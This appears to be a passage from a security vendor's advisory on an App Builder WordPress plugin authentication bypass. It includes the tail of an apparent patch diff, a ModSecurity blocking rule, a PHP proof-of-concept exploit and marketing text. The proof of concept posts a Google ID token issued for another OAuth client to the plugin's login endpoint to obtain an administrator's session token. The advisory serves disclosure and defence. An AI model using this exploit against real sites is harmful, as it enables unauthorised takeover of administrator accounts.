+	 * @param array $data Data.
+	 *
+	 * @return void
+	 */
+	public function set_data( $data ) {
+		if ( ! isset( $data[ $this->meta_key ] ) || ! is_array( $data[ $this->meta_key ] ) ) {
+			return;
+		}
+
+		$input = $data[ $this->meta_key ];
+		$clean = array();
+
+		if ( array_key_exists( 'status', $input ) ) {
+			$clean['status'] = $this->is_truely( $input['status'] );
+		}
+
+		if ( array_key_exists( 'client_ids', $input ) && is_scalar( $input['client_ids'] ) ) {
+			$clean['client_ids'] = sanitize_textarea_field( (string) $input['client_ids'] );
+		}
+
+		update_option( $this->meta_key, wp_parse_args( $clean, $this->get_data() ) );
+	}
+
+	/**
+	 * Get public data
+	 *
+	 * @param array $features features.
+	 *
+	 * @return array
+	 */
+	public function get_public_data( $features ) {
+		$key = $this->get_public_meta_key();
+
+		$data = $this->get_data();
+		unset( $data['client_ids'] );
+
+		$features[ $key ] = $data;
+		return $features;
+	}
+}

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-103886
SecRule REQUEST_URI "@beginsWith /wp-json/app-builder/v1/login" 
  "id:2026103886,phase:2,deny,status:403,chain,msg:'CVE-2026-103886 via App Builder Google login',severity:'CRITICAL',tag:'CVE-2026-103886'"
  SecRule REQUEST_METHOD "@streq POST" "chain"
    SecRule ARGS_POST:idToken "@rx ^[A-Za-z0-9_-]+.[A-Za-z0-9_-]+.[A-Za-z0-9_-]+$" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-103886 - App Builder <= 5.7.1 - Unauthenticated Authentication Bypass via Google ID Token Audience Validation Bypass

// Configuration
$target_url = 'http://example.com'; // WordPress site URL
$victim_email = 'admin@example.com'; // Email of the target user (e.g., administrator)
$id_token = 'eyJhbGciOiJSUzI1NiIsImtpZCI6...'; // Valid Google ID token containing the victim's email, obtained from an unrelated OAuth client

// The endpoint for the vulnerable login
$endpoint = $target_url . '/wp-json/app-builder/v1/login';

// Prepare the POST data
$post_data = json_encode([
    'idToken' => $id_token,
    'role'    => 'administrator' // Optional: request a specific role for new users, but here we target existing user
]);

// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $endpoint);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'Content-Type: application/json',
    'Accept: application/json'
]);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // For testing only

// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Output the result
echo "HTTP Status: $http_coden";
echo "Response: $responsen";

// If successful, the response will contain an App Builder JWT token granting the victim's privileges.
// Example response: {"token":"eyJ...","user":{...}}
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.